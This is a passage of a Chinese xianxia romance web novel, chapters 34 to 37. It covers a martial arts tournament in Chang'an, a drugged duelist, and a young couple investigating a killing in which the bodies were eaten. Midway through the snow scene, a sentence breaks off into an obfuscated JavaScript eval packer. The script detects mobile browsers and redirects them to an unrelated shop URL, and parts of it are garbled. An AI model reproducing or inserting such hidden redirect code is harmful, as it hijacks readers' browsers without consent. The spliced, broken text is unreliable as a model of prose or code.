后背抵上冰凉的石壁,她被带进一条无人的暗巷。四周漆黑,唯有眼前人清晰可见,呼出的热气打在她的脸上,全是糍粑的甜香。 岐晔的手垫在她背后背,缓缓上移扣住她的后颈。 带着桂花甜香的吻落下,封住了她的唇瓣。李安素被迫张口,黏腻的糍粑在唇齿间化开,分不清是糍粑更甜,还是这个吻更缠绵。 “呸呸呸!难吃死了!”李安素捂着嘴后退,气恼地跺脚,“混蛋!” 岐晔喉间溢出一声轻笑,偏过头强压下继续深吻的冲动。 “还想吃什么?去买。”他率先走出小巷,只留下一个背影。 李安素买了不少小玩意儿,有的挂在腰间,有的拿在手中。到最后连岐晔身上都挂满物什,走起路来叮当作响。 “咚咚咚!”锣鼓喧天,打破市井喧嚣。李安素眼睛一亮,望向远处升起的旌旗。 “比武大会开始了!”她惊喜地回头看向岐晔。 岐晔举着没吃完的糖葫芦和一盏花灯,缓步跟上:“从那边进去。” 李安素牵着他往前跑,随着人流挤上观景台。比武擂台由整块玄石铸成,气势恢宏。 李安素一眼看见端坐在赞助席的周正,大声道:“是周正!这小子竟然坐在那儿?” 前头的姑娘回头道:“你敢直呼其名?这可是长安城四大富商之首,刚归家的周家公子!” 李安素撇撇嘴,跟着岐晔往里走。果然没有抢到座位,不过她本意也只是见见世面。 “还是大城市好!在村子里哪能看到这些啊!”李安素提高音量,生怕岐晔在喧闹中听不清。 岐晔微微一笑。事实上,他对她的声音格外敏感,此刻耳中满是她的声音。 “小点声,我没聋。” 34. 破绽 礼炮一股一股冲向天空,将天空映作各色光彩,岐晔抬手捂住她的耳朵。 安静下来后,各个门派开始比赛,最先上场的是上一届比武大会的得胜门派蜀山。 一个男人走上台,李安素猛然拍了拍岐晔:“那是……那日在酒楼的白发老头!” 岐晔弯唇:“嗯。” 白发男人是今天的蜀山代表,说了几句后就下去了。 比赛当然也有下注或买卖的,李安素耳边几乎都是这样的讨论声,她极力听着,不漏掉任何秘辛,回过头来说给岐晔听。 今年比武大会人气最高的是归元宗的大师兄沉锦休,一表人才,为人正派,而相对应的是碧血剑派的首席弟子谢问道。 “谢什么?”李安素探出头去,忽然插话,“你们刚才说碧血剑派的首席弟子叫什么呀?” 被打断的两个人对视一眼,兴冲冲地谈起了这两人之间关系。 岐晔站在她身后:“别问了,这不就上场了?” 前面略过了一些擂台,碧血剑派的首席弟子就上场了。 一个英气的女子站在擂台上,轻微的东风吹得她衣角翩跹,光是站在那里就已经承包了所有人的目光。 她动作利落,不留一点破绽,没几招,谢问道就胜出,而且赢得漂亮。 众人惊讶地张开了嘴,纷纷说着谢问道的厉害。 岐晔眉头舒展,碧血剑当今的掌门他记得,是个老头,安愫第十代弟子,现在的碧血剑派和安愫还在的时候大相径庭,不过风评依旧不好。 “好看?”他低头,看见女孩乌黑的头顶,一副沉思的模样。 李安素摇头:“她破绽很多,不过是速度快了一点,才侥幸获胜,而且……她刚才有一瞬间手里的剑都差点脱落了。” 岐晔一愣,连忙看向擂台,几个碧血剑派的弟子围上来,把谢问道扶下去了。 “连对手都没看见的破绽,你隔这么远,看见了?”他拧眉。 李安素骄傲地昂首:“那当然,你以为我那么多饭是白吃的?” 岐晔喉间溢出一丝笑意,又很快恢复了平静,“那你等会儿看看归元宗的剑法?” 话落,几场比试结束,备受瞩目的两个人重新站上擂台。谢问道对面站着沉锦休,这么多年,彼此是最了解也最棘手的竞争对手。 “沉师兄,别来无恙。” “全力以赴就好。”沉锦休笑了下,只是笑意不达眼底,他握紧手里的剑,二话不说冲了上去。 李安素的眉头缓缓拧起,她没有想到沉锦休的剑术比谢问道还容易看出破绽,她顿时觉得有些惊诧。 一抬头,对上岐晔的视线,她一愣,“你不看对擂吗?” 岐晔歪了歪头:“我一个凡人,看这么认真干嘛。” 李安素:“……”她转头看向四周,果然,没有几个人真的关心比试,目光只停留在比试两人的脸上。 沉锦休长相确实不错,不过和岐晔生活三年多,再好看的男人都显得不过如此。毕竟像岐晔这么好看的男人,很可能性情古怪。 “锵——” 悠扬的剑鸣声久久没有停息,沉锦休手里的剑瞬间飙到了擂台下面,差点伤及无辜,他脸色涨红,翻身一跃重新抓住那把剑。 “呼——” 沉锦休单膝跪在地上,汗水顺着他的额角流下。他费尽力气抬起头来,却不经意瞥见了观众席上的某道身影。 李安素咬着糖葫芦,没有看他,身边的岐晔却抛来了视线。 阴沉,只一眼就让人遍体生寒。 上回归元宗内部出了那样严重的事情后,他就再也没见过岐晔,门中长老只说那不是个简单的凡人。 他还在思考,猛然一道剧烈的冲击打中了他的面门,沉锦休浑身一颤,狠狠摔在了地上。 手里的剑飞了出去,这下再也没有机会拿回来。 谢问道的剑直接架在了他的心口,她微微皱眉:“你在分心?” 沉锦休低头,缓缓爬起来,听着裁判宣布对擂结果。 但谢问道只是把剑往身后一扔,冷剑入鞘,她扬声道:“他走神了,不算我赢。” 场面一时间有些尴尬,连李安素也不明白了,“这么重要的场合,他在想什么?” 岐晔勾唇:“谁知道?” 沉锦休虽然输了,但谢问道也没捞到好处,她浑身颤抖,脸上都挂了彩,她满不在乎地擦了擦,却发现沉锦休还在发呆。 谢问道顺着沉锦休的视线看过去,立刻就看见了观众席上坐着的一男一女。 两个人实在过于出众,很难不一眼察觉。 尤其是那个女人,谢问道的眉头紧紧皱了起来,这女人有种微妙的熟悉。 “沉锦休,你下回和我打,再走神,我一定把你送去见你师父。” 沉锦休的师父前不久死了,走火入魔。 沉锦休脸色变得尤其难看,他偏过头。 “好看?”岐晔按住李安素摇晃个不停的腿,她兴致变得有些好。 李安素还等着看,前面坐着的人却站起来,一瞬间,身边的人也站起来。 有很大一部分人来看比武大会都是为了沉锦休和谢问道,真正关心修炼门派的人不多,这一走,观众席忽然冷清多了。 而最后上场的,却是个眼熟的人。 李安素瞬间张大了嘴,“这不是……子修吗?” 岐晔抿唇,看向擂台上,子修今天一身修炼门派的道服,蜀山的紫色将少年的周身勾勒得意气风发。 “人模狗样,还真的差点认不出了。” 岐晔纠正道:“人模狗样不是好词。” “子修看起来昨天没有睡好,原来他长这个样子。”李安素歪头说,“子修姓‘子’?” 岐晔笑了下,不知道该如何回应,下一刻,站在远处的少年忽然转头看过来。 许子修只是带着一点侥幸心理,却没想到真的一转头看见了那道身影,尽管记忆已经模糊了,但他记得这个姑娘。 他握紧拳头,转过头看向面前的对手,“蜀山许子修,承让。” 对面的是峨眉派的弟子,两个人很快打得胶着,不分上下。 “这个许子修什么来头?一来就打决赛?”一个男人忽然问道。 前头坐着一个蜀山的弟子,向来对许子修看不惯,他冷笑一声:“什么来头?后门呗,疯子一个,也不知道是什么变 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对面的弟子狞笑一声:“这是在对擂呢,子修小兄弟,你以为这是过家家吗?” 许子修连忙掐诀护身,周身笼罩起一股气,将他团团包围,“这不对!你、你吃了什么?!吃焚心丹无异于自寻死路!” 那弟子又是一剑刺过来,剑身上甚至隐约有血色,剑法杂乱无章,每一剑都仿佛是燃尽了所有,掀起的罡风竟在石台上留下一道深深的痕迹。 峨眉弟子的声音几乎是从喉咙里挤出来的:“能赢就好了,你有什么办法?听说你前两天在酒楼伤了我师弟,就你这种怪物,还是早点去死好了。” 许子修护住自己的心口,对方的攻势实在来得太猛,短短片刻就像是变了个人一般,他在空中翻滚了几下,摔在地上。 “呵呵呵……怎么了?小师弟,想爹娘了就回去吃奶吧。”对面的人一脚踩住许子修的剑,令他无论如何都无法动弹。 许子修咬唇,直到溢出鲜血,他松开手,缓缓爬起来,重新摆出对战的姿态。 可他手里没有剑。 “你疯了不成?你没有剑,一个剑修,没有剑你拿什么和我打?” 许子修浑身颤抖,冷汗滴滴答答落在擂台上,只有他知道,自己最难受的不是身体,而是内心控制不住的邪念,他一字一句开口:“没剑又如何,安愫,从来就没有武器,她唯一的剑是她自己的魂魄。” “我凭什么不行?” 对面的弟子冷笑一声,像是听见了什么好笑的,“安愫?那种东西早就死了不知道多少万年了,你和她一样,所以你也是怪物,迟早会被六界弄死。” 许子修挑眉,少年的眼中几乎要燃烧起来,他咬破指尖,鲜血飙出,在空中缓缓凝结成一道气。 许子修赤手空拳冲上去,用力打向他的对手,后者反手用剑砍,而他直接张开手去接。 剑锋被他的手结结实实握住,鲜血直流,但仔细看,流出的血都是对手的。 李安素看呆了:“子修道长好厉害!” 35. 嫁做人妇 岐晔也没有反驳,这少年有当年安愫的影子,却又比她更沉稳,只是他这次的对手却并非善类。 峨眉弟子眉头紧紧皱起来,嘴里不断发出粗喘,他已经杀红了眼,即便吃了秘药,竟然还只能勉强打成平手。 “他不对!快点把他弄走!”谢问道的声音插进来,她看向峨眉派的师尊,“你们没看见吗!?” “阿道,不得无礼!” 谢问道回身对自己师父说:“师父!峨眉派弟子明显已经走火入魔了,弟子认为这不符合比武大会的准则!” 峨眉派的师尊顿了顿,全然不知情,他看向身边的弟子,“怎么回事?不是让你跟着吗,快点、快点把人给我弄下来!” 谢问道拧眉,咬了咬牙,干脆翻身跃上擂台,周围的弟子连忙阻止。 “师姐!擂台的结界会弄伤你的!” 谢问道盯着擂台上的两人,打得难舍难分,但已经依稀看出不对劲了,她握紧拳头,大声喊:“许子修!只要对方手里的剑破损,一样可以胜出!” 许子修听见了,他下个回合就直接跳过去,趁对方不注意想要去夺剑。 可是他的体力已经耗尽,即便是再强大的人,连续几个时辰的打斗也会力竭,他……许子修连腿都在颤抖,几乎要跪下来。 “子修道长!加油啊!”观众席上,一个瘦小的身影忽然站了起来,将所有人的目光都吸引了过去。 李安素目光执着,她担心许子修听不见,干脆走到了擂台边上。 坐在高处的几个长老们听见声音看过来,却纷纷顿住,看向了李安素身边站着的岐晔。 凡间的修炼者很少有机会见到岐晔,但只是凭借他周身的气质也足以令人驻足。 岐晔脸色平淡,只是拉住了李安素的手,“不要着急。” 许子修眼中进了泪水,他拼命眨眼,不仅要顾忌对手的动作,还要控制内心的魔气,已经到了崩溃的边缘。 却忽然听见一声“子修”道长,他的头脑瞬间清醒过来,下一刻,他直接闪到了对手的身后,直接握住了他的剑。 许子修顿了顿,最终没有折断这把剑,他看向地上自己的那把剑,用脚尖挑起重新握在手里。 冷剑划破空气,架在了对手的脖颈上。 胜负已出,结界瞬间消失,许子修的身体砸在地上。 他仰躺在擂台上,听见身边传来各种声音,直到同门师兄弟过来把他扶起来,四周都是杂乱的声音,他却只听得到那一声“子修道长”。 李安素着急忙慌地看着,却不能上前,她回过头对岐晔说:“我们要不要上去看看?” 岐晔抿唇,目光看向擂台对面的人,“别过去,还没有结束。” 话落间,峨眉派弟子的身体猛然开始抖动,他竟然缓缓站了起来,他看向对面的许子修,身边都是同门师兄弟,只有他是一个人。 “咳咳咳……”他咳了咳,嘴里吐出一口鲜血,还带着一颗碎牙,“许子修,起来继续打。” 周围有人提醒:“对擂已经结束了,你输了。” 峨眉弟子眼珠转了转,看向地上的剑,许子修没有弄坏他的剑,但这也是他最后一次握剑了。 “还站在这里干什么!还不下去!丢人现眼!”峨眉派的师尊拧眉。 峨眉弟子没有动,直到身边有人来扯他,他纹丝未动。忽地,地上的剑像是有了召唤,飞速回到他的手上。 峨眉弟子看向许子修,又或是看向在场的所有人。 “你干什么?”许子修拧眉,缓缓走上前,他嘴角溢出了一点血迹,可走上前,却发现对方不是那么回事。 “你需要大夫。”许子修拧眉道。 “砰!” 电光火石之间,许子修的身体猛然甩了出去,脚尖在地上擦出一道火光,将擂台烧出一段裂缝。 他只能拼命护住自己的心口,却依旧被一剑贯穿了小腹。 李安素被吓了一跳,因为许子修直接摔到了自己面前,她蹲下来,“子、子修道长!” 岐晔轻微皱着眉头,拉住李安素,“别,会伤到你。” 他抬头,对上峨眉弟子的眼神,他身上燃烧的都是自己的灵体,这样的人,不需要出手,最多一个时辰就会筋骨断裂而死。 “百姓们都快走!”谢问道第一时间反应过来,握着剑就冲上去,身体快得像是一道闪电,将峨眉弟子控制住。 许子修看向李安素,“姑娘!我带你走!” 他刚上前一步,被岐晔冷漠的身体刺伤,瞬间呆愣在了原地,“这是你的夫君吧……我送你们两个人一起走。” “不必。”岐晔握紧李安素的手,“我能保护好自己的娘子,你应该护住那些百姓。” 李安素点了点头,“子修道长,你记得我啊,那天在酒楼,你的伤都好了吧。” 许子修眼神柔软下来,在动荡的擂台上,他对李安素笑了下,随后就握着剑冲向人堆。 峨眉弟子的情况越来越复杂,那些修炼弟子到底只是凡人,最后还是几个门派长老出面,将峨眉弟子压制住。 “这能打得过吗?怎么看起来有些麻烦……”李安素小声说,又看向岐晔。 “是有些麻烦,不过和我们无关,要不就先走?” 李安素摇头,她要是有力量出手就好了。 忽地,天上吹过一阵凉风,带起一阵寒气,也吹来一阵梅花香,李安素看向远处,就见一道身影从天空划过,稳稳停在了远处。 阿全最先落地,他身后还跟着几个蜀山长老,瞬间场上一片寂静,他手里的拂尘看起来洁净无瑕,却蕴藏着浑厚的仙力。 轻轻一抚,那峨眉弟子的精神瞬间就平静下来,他缓缓跪在地上,晕了过去。 受伤的弟子纷纷看向来人的方向,通通行礼:“全长老!” 李安素看向阿全的身影,白衣黑发,长相稚嫩,这样的人竟然是蜀山长老? 阿全环视一圈,眼神定格在角落里岐晔的身影上,他顿了顿,才开口:“今日之事我已知晓,还请峨眉给个说法,还好及时疏散百姓,子修,把禁药来源查清楚,散了吧。” 众人一声应下,就连几个门派的长老也愣在了原地——就是他们也从没见过这位蜀山掌门。 蜀山掌门 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许子修还弯着腰:“那日在酒楼多有得罪,你不原谅我,我就不起来!” 李安素连连摆手:“我不怪你!那日道长您一定有自己的原因,况且也没有伤害任何人,您快起来!” 许子修这才起来,脸上因为弯腰而充血,有些红红的,他腼腆地笑了下:“你不用称我道长,我还没有得道,只是个修者,叫我许子修就好,我有个不情之请,不知道你愿不愿意。” 李安素再迟钝也知道是什么意思了,她有些纠结,像李二德那样的追求者她可以直接拒绝,许子修没做错什么。 “能不能、能不能告诉我你的名字!” 许子修用尽全力喊出这一句话,就连李安素都诧异了一瞬间,她的背部被岐晔轻轻拍了拍,男人的声音传来:“告诉他。” “李安素,我叫李安素!” 许子修高高兴兴地走了,只留下一道背影,李安素有些尴尬地转头,男人只是在一旁安安静静地等着。 一直到马车上,李安素才放下心来,“你不生气?” 岐晔摇头,反而平淡地笑了下,“不生气。” 李安素松了口气,她好像很少看见岐晔身边出现什么女人,按理说他的样貌比自己出众得多,这让李安素有些好奇,她悄悄看向闭着眼睛的男人。 “再看我就生气了。” “你、你怎么知道我在看你?”李安素一惊,连这种事情都要生气! 岐晔睁开眼转过头,猛然拉近了两人的距离,他的呼吸喷洒在女孩脸侧,“想看见,就能看见。” 李安素眨了眨眼,手放在自己心跳的地方,那里很吵,不过还好,有外面的嘈杂声遮掩,她恨不能把自己缩进角落里。 但是不行,岐晔会把她挖出来,她永远都没办法回到自己的原来的洞里了。 岐晔深呼吸一口,偏过头,缓缓松开已经僵硬的拳头,骨节发出几声“咔哒”声音,掌心留下了深深的指甲印。 36. 查案 李安素看完比武大会后就饿了,最后又找了家小店。 他们没走人最多的那条街,而是转而去了一条冷清的街道,只有这一家小店还开着门。 “老板,来四两的白菜猪肉饺子!”李安素对店老板说。 正在忙活的店老板看见是一对夫妻,连忙高兴地搓着手,“好嘞!小姑娘要吃什么?” 李安素一愣,“就是我要吃,白菜猪肉馅的。” “你一个人吃?那这位公子呢?”店老板一愣,亲和地笑着,“大冬天的,给你们送个汤。” “我不用。”岐晔缓缓拧眉,四处打量这个小店,总有一股难闻的味道,不知是从哪里传来的。 老板忙活的身影顿了顿,不等他说完话就猛然大吼一声:“喂!别吃了!” 李安素吓了一跳,连忙转头,就见店铺角落里,不知什么时候坐着一个人,弓着腰,看起来在吃什么东西。 老板气得眉毛都竖了起来,看向李安素又换上了笑容,“好嘞,您请等着。” 李安素在店铺里找了个不显眼的位置,却听见耳边传来进食的“吸溜”声,她不由得看向隔壁桌子的人。 那人低着头,她看不清脸,只是头发凌乱,有一部分还掉进了碗中,冰天雪地,他脚上一双干净的鞋子却已经破了洞。 “别吃了!”老板粗暴地一巴掌拍在那人的头上,“你能不能稍微停一会儿!” 李安素:“别打他。” 老板动作一顿,不知该如何解释,后厨走出来一个女人,对李安素说:“这是他儿子,您不用管。” 恰好饺子被端了上来,还滚着热气,只是李安素还没有看清楚,就被一只手抢了过去。 “哗啦——” 桌上的东西全都掀翻在地,醋罐打破,空气弥漫着一股浓烈的酸,李安素愣愣地,看向把自己护进怀里的岐晔。 进食的声音传来,桌上的两盘饺子全都被那男人端在手里,他动作粗暴,几乎是狼吞虎咽地,不消片刻,两盘饺子就下了肚子。 不论老板怎么打骂,男人依旧埋头苦吃,连头都没有抬。 “对不住!我再去给您重新下两盘饺子!真的对不住,犬子不成器……!” 李安素回过神来,摆了摆手:“没事、没事,他想吃就吃吧。” 女人走上前,泪水止不住地砸在地上,声音哽咽:“这孩子命苦,从上个月开始,不知怎么回事,整个人活儿也不做了,就知道吃……不给吃的就打人……!” 李安素抿唇,还从未见过这种事情,“看过大夫了吗?” “看过了,大夫说是丢了魂儿了,我的孩儿啊!”老板崩溃大哭起来。 “给我吃的!”男人猛然大喊起来,将手里的盘子砸在地上,碎片飚起来,几乎要伤到李安素。 慌乱之中,岐晔把她拉了出去,“还站得那么近,小心伤到你。” 他现在封印了自己的法术,对于神仙妖魔的感知降低了不少,方才那男人明显就不对劲。 不过他不想管。 李安素却不太愿意走,她回头看向店里,还隐隐约约听见了吵闹声,那男人跑进了后厨,任怎么拉扯也不出来。 直到走到大街上,李安素还是想着这件事情,最后,她沉重开口:“我明日要送很多吃的给他,他一看就是吃不饱。” 岐晔嘴角抽了抽,她想问题向来这样简单。 最后才在一个路边摊坐下来,李安素等菜的间隙,忽然说想吃糖葫芦,岐晔去买。 岐晔走到街对面,在一个犄角旮旯里找到了卖糖葫芦的。 只是刚走进去,就被一把刀抵住了脖颈,他眼睛都没眨,对小摊贩说:“来一串糖葫芦。” 凡人看不见他脖颈间横着的刀,岐晔的模样自在随意,不消片刻,脖颈间的刀撤走。 “嘁。”冷经赋冷嗤一声,收了刀,背靠在墙边,看着岐晔,“肉体凡胎,也只有神尊大人有这个胆量,自己不知道六界有多少人想要你的命?” 岐晔轻笑一声,鼻息间还能闻到李安素身上的温软香气,他这段时间快忘记六界的事情了。要不说儿女情长害人不浅,和李安素待在一起,会让人滋生贪婪欲望。 “你不也没杀我?” 冷经赋:“……”他那是不想杀吗?他那是杀不掉。 糖葫芦做好了,上面的糖浆还冒着热气,下一刻就冷凝在了山楂上,晶莹剔透的糖风薄薄一片。 岐晔接过来,紧紧盯着那鲜红的果子,“我没有说过,你们像臭虫一样,赶都赶不走。” “你把我和那群道貌岸然的神族混为一谈?”冷经赋像是听见了什么好笑的。 “都一样。”岐晔幽幽叹了口气,都是他不在乎的东西,但都给他添堵。 “我来只是想告诉你,你的秘密快要藏不住了,必要时刻我会带她走,你护不住她。”冷经赋背靠在墙边,余光静静扫过街对面的人,“我是因她而生的。” 冷经赋是被安愫点化的,本体是西海底一棵沉睡已久的常青藤。 岐晔没理会,虚空一掌拍在冷经赋的肩膀,几乎要击碎他的魂魄,后者喉咙里发出一声痛呼。 “那你可以去死了,安愫永远都不会回来,现在只有我的娘子。” 冷经赋拧眉,他还没开口,一道声音忽然在身后响起,他浑身一僵,立刻就想要逃走。 “夫君,我的糖葫芦呢?”李安素不高兴地喊了声,直直走到岐晔面前,嘴里还嘟哝着抱怨。 冷经赋松了口气,她看不见自己。 李安素抬头,岐晔正温柔地低下头,抬手摸了摸她的耳垂,“不好意思,我的错。” 两个人的身影缓缓消失在身后,冷经赋始终没有回头。直到雪又下大了,落了他一头一身。 * 冬至,长安城下了一场大雪,李安素的药铺生意不错,都是来买祛寒汤的。 李安素也担心自己忙不过来,不过还好,岐晔每天都来帮忙。 李安素用力敲房门:“岐晔!下雪了,快出来!” 木门吱呀一声打开,岐晔什么都没看清,就被一捧雪糊了一脸,他下意识闭上眼睛,却还是被冷了一个激灵。 “啊呀,你怎么了?”始作俑者一愣,赶紧上前,趁机把更多的雪塞进他领口。 岐晔躲了躲,唇角溢出一丝笑意,他反手就把李安素的手握在手里,将人往房间一带,关上了门。 屋子里烧了炭火,李安素身上的雪瞬间就化了,变成滴滴答答的水珠往下淌。 岐晔用毛巾给她擦拭,只是头发上湿了一大片,他拧眉:“去雪里打滚了?” 李安素亮着眼睛:“我从没见过这么大的雪!” “没见识。”岐晔看向窗外,在天云涧隐居的那三万年倒是经常看见苍茫大雪,这点凡间的雪就玩得这么开心。 李安素还要出去玩,她还没来及挣脱,就被套上了厚厚的棉衣。 “别动。”岐晔收紧了手,将她的下半张脸都用围巾厚厚遮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683739|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住,直到她像个鸭子一样摇头,才放心收回手。 闹市街头,前几天才举办过比武大会的长安城中心,如今凄凉一片,几个百姓站在街边交头接耳。 李安素刚走近就发现了不对劲,她连忙上前,问道:“几位大哥,今日怎么没有赶集呀?” 一个男人见是个小丫头,随口说:“害,死了个人。” 近几年,妖族和魔族甚至是神族都在凡间随意出手,有时候误伤百姓再正常不过。 另一个女人插话进来:“说什么呢!我听说是好几个人呢!据说……是被吃掉的。” 李安素看过去,连忙追问:“是谁家里!?为什么啊?” 女人愣了愣,摇了摇头,指着一条街:“你自己去看看吧,就在那户人家,官府的人已经去过了。” 岐晔还站在原地,却忽然被她用力一拉,他被拉着往前走,走到了一扇门前,“别去看,这种事情去看了也没有用。” 那扇门前站着不少人,却没有人敢推开门走进去,唯有李安素,她握紧拳头,猛然上前,用力推开了门。 入目便是通红一片,黑漆漆的屋子里,被光照到的地方皆是鲜红的一片血迹,而角落里,一只断手还掉在地上。 “别看。”岐晔沉默,伸手想要捂住李安素的眼睛。 李安素用力拉下这遮在自己眼前的手,她喃喃道:“这家馄饨店,是前几天晚上我们进来过的,就是这家馄饨店!” 李安素转身看向岐晔:“岐晔!我们昨天晚上就坐在这个椅子上!” 门外传来唏嘘声,其中,一道嘹亮的声音尤其明显,伴随着木门被推开的声音。 “就是这户?”脚步声传来,许子修还在和身后的人说话,一转眼就看见了李安素,他浑身僵硬在原地,“李姑娘……” “许道长!?”李安素一愣,还沉浸在方才的情绪中,连忙开口:“你是来查案子的?” 许子修点了点头,视线在她和岐晔之间徘徊,“昨夜都没有好好跟你说话,想不到今天出了这种事情,你和你……夫君是来查案子的?” “我们昨夜来过这里。”李安素垂眼,闪过一丝恐惧,“许道长,我们查不出什么,但是我还是想知道,这到底是什么人杀的?” 许子修为难道:“这里不方便说,先走。” 片刻后,街边上,天气还很冷,岐晔重新给她戴好了围巾,自己站在风口,给她挡住所有冷风。 许子修看在眼里,从口袋里掏出一张符纸:“这是在门口发现的,雪下得大了之后,所有痕迹都消失了,只剩下这个。” 李安素缩了缩脖子,看向符纸上复杂的符文,“我看不懂,和案件有什么关系吗?” 许子修笑了下:“不是简单的案件,应该是有个魔族,我了解的也不多,还要等我的师兄来帮忙,李姑娘你若是感兴趣——” 许子修的声音顿了顿,仿佛是才发现岐晔还站在身边,不着痕迹地挑起一点笑,“我带你查案子也可以。” “不必了。”岐晔上前,握住李安素的手,“我们可以自己来查。” 许子修点了点头,转身往外走,却又被李安素叫住:“许道长!求你带上我们。” 李安素赶紧回头看向岐晔。 岐晔阴郁的眼神被迫压下,他脸上挤出一点笑,“嗯。” 许子修爽朗一笑:“好!” 岐晔冷漠跟在他们身后,就看着这个会点三脚猫功夫的修仙者说个不停,而李安素笑得像个傻子。 37. 空棺材 人来人往的官府门口,站着许多前来看热闹的人。 “尸体被运到了官府,现在已经臭了,不能去看。”许子修从官府走出来,见到李安素还在等自己,他连忙挠了挠头,“没事!还有其他办法!” 李安素心中始终不能放下心来,她忽然瞥见角落里站着的一个少年,正盯着她。 她连忙上前蹲下来。 不等李安素开口,那少年指着她腰间的钱包:“钱。” 李安素把钱包拽下来,塞进那孩子的手里,“给你,你告诉我,你看见了什么?” 那少年看起来十岁左右,机灵得很,当即就知道她在问什么,他小声说:“没有肉,那尸体没有肉,骨头也是碎的。” 许子修看呆了去,上前一步挡在那少年面前,“李姑娘!离他远一点!这种少年很可能不简单!” 少年直愣愣地仰头,看向李安素:“你不相信我吗?” 李安素抿唇,轻微探出头来,“许道长!让他把话说完吧,这些孩子都是长安城里的,什么都知道。” 少年走在前面,带着他们绕过官府后门,一条狭窄的缝隙出现在眼前,“从这里进去,你进去。” 那缝隙太小,两个成年男子都有些吃力,只有少年和李安素勉强可以。 “不行。”岐晔当即就说,他拉住李安素的手,“不能进去,你要多管闲事也要有个限度。” “岐晔,这不是闲事。”李安素扯开岐晔拉住自己的手,执拗道,“我不想要晚上睡不着。” 岐晔没听懂,这种小事为何会睡不着,但触及李安素明亮的瞳孔,他的手轻而易举就被挣脱了。 许子修也没办法,他只好给了李安素一张符纸,“护身用的,有任何事情叫我们。” 少年默不作声,率先蹲下来,顺着缝隙爬进去,他回头,确定李安素跟着,才放心往前走。 黑漆漆的通道里,只有李安素的呼吸声,她往前看去,少年还时不时回过头来看自己,她不由得觉得好笑:“你帮我这么多干什么?” 少年咬唇,“你给过我妹妹药,你救了她。” 李安素一愣,这段时间开药铺会免费送点药品出去是真的,“那等我出去,给你妹妹买点好吃的。” 少年没再说话了,一个劲地往前爬,动作快了点,前头出现了一点光亮,李安素也终于从通道里爬了出来。 房间里很狭窄,只有一尊棺材,尸体却没有放在棺材里,直接被扔在地上。 李安素蹲下来:“这些骨头是一个人的?” 少年指着其中一颗骨头:“这是头上的骨头,一个人只有一个。” 李安素看向那颗骨头,有些弧度,她不敢碰,少年却直接拿了起来,骨头上面带着点血肉,已经腐烂了。 “这里应该有五个人的。” 李安素张了张嘴,这么点骨头有五个人? “你怎么这都知道?” 少年蹲着,盯着地上的一只蚂蚁,“以前闹过饥荒,娘亲叫我数数,就数骨头。” 李安素心里说不出什么滋味,她转过头不敢再问,站起来环视一圈,“看看棺材吧。” 那棺材看起来才是重头戏,上面铺着金色的珠帘,旁边甚至还有上供的点心,应该非富即贵。 李安素用了点力气,但棺材板的重量不是她可以打开的,她憋得脸都通红了,却依旧纹丝不动。 “推不开的。”少年在她身后,“我们应该先走。” 少年话音刚落,就听见一道令人牙酸的声音响起,棺材被李安素推开了一丝缝隙,下一刻,棺材整个被打开的声音响彻了整个房间。 就连少年也不知道作何反应,他盯着那棺材,又看向李安素,两人面面相觑,站在空荡荡的棺材前面。 “什么人!?”门外忽然响起了脚步声,几个官员的声音急匆匆往这边赶来。 李安素连忙抓住少年的手,直接跳进了宽大的棺材里,她反手将棺材的盖儿重新关上。 黑漆漆的空间里,她咽了咽唾沫,“小孩,我真没想到会和你一起死,等我们出去了,你和你妹就认我当主子吧。” “我妹妹已经死了。”少年的声音透着一丝落寞,燃尽了无限的苦涩。 李安素心惊胆战,却在听见这话的瞬间呆愣住了,她不动声色地搂紧了少年的肩膀,两人缩在棺材的角落。 棺材外传来官员的声音,朦朦胧胧的同时有忽远忽近,“都多少年了,还没找到?你到底会不会干事?” “宫里死的,这几年一直没找到合适,这不好不容易出了这种事情,才有了地方放。” “……屁!还不赶紧把宫里的贵人抬出去?放在我这里招来什么不干净的怎么办?” “那这些骨头怎么办……?” 一道老沉的声音良久才传来:“问我?丢出去算了,记得晚上再干!” 棺材沉沉地,直接被抬了起来,李安素一惊,连忙平衡好重量。 她瞪大了眼睛,也听见了耳边传来的更多声音,似乎已经到了大街上。 少年缩在她身边,冰冷的棺材里,只有李安素身上的温度暖融融的,他极力控制着不往她那边缩。 “给你。”李安素二话不说,把自己的外罩脱下来,裹在少年身上。 “你不怕吗?我们可能会死在这里。”少年偏头,他看不见李安素的表情,这伸手不见五指的环境里,她还有心思关心别人。 “不怕,我夫君会来找我的。”李安素抿唇,说不害怕是假的,但她几乎已能猜到事情的原委了。 这让她的恐惧都消减了不少。 “给你。”少年的声音响起,一块坚硬的东西被塞了进来,他解释道:“刚才忘记放回去了。” 是一块骨头,李安素却不再觉得恐惧,“那老板是个好人,我不会让他白白死掉的。” 直到夜幕降临,棺材四周静悄悄的,棺材里的空气已经十分稀薄,只有一条被李安素推开的缝隙。 过了不知道多久,她听见了几声轻声的抽泣,李安素的眼睛“唰”地睁开,确定是有人在哭。 棺材被停放在一个小山坡,明日就会有人来埋葬,但此刻来祭拜的人实在诡异。 黑夜吞没旷野,只有野风在荒草间呜咽,一尊大得过分的棺材停放在小山丘。 棺材前跪着一个男人,躬着身子,瘦骨嶙峋,脊背突出。他面前放着一个火盆,里头的纸钱缓缓蜷缩成灰烬。 风卷着火星往天上,火焰照亮了他一侧的面孔,狰狞的伤疤在脸上盘踞,在跳跃的火焰中更显狰狞。 可是他在哭,喉咙里发出难听的嘶哑声,如同猛兽的号丧。 “……你在哭吗?”一道声音从棺材里传出,随后棺材的盖儿被打开,一颗头探了出来。 “你、你是谁?!”男人瞬间换上警惕的状态,一双绿色的竖瞳猛地缩紧,站了起来。 “等、等一下,我等一下和你说……”李安素费力地爬出来,棺材很高,她好不容易才钻出来,连忙看向底下,“抓着我的手。” 很快,一个小少年也爬了出来,他一言不发,拍了拍自己肩膀上的脚印。 李安素大喘一口气,浑身的热气被冷风卷走,“得救了……! 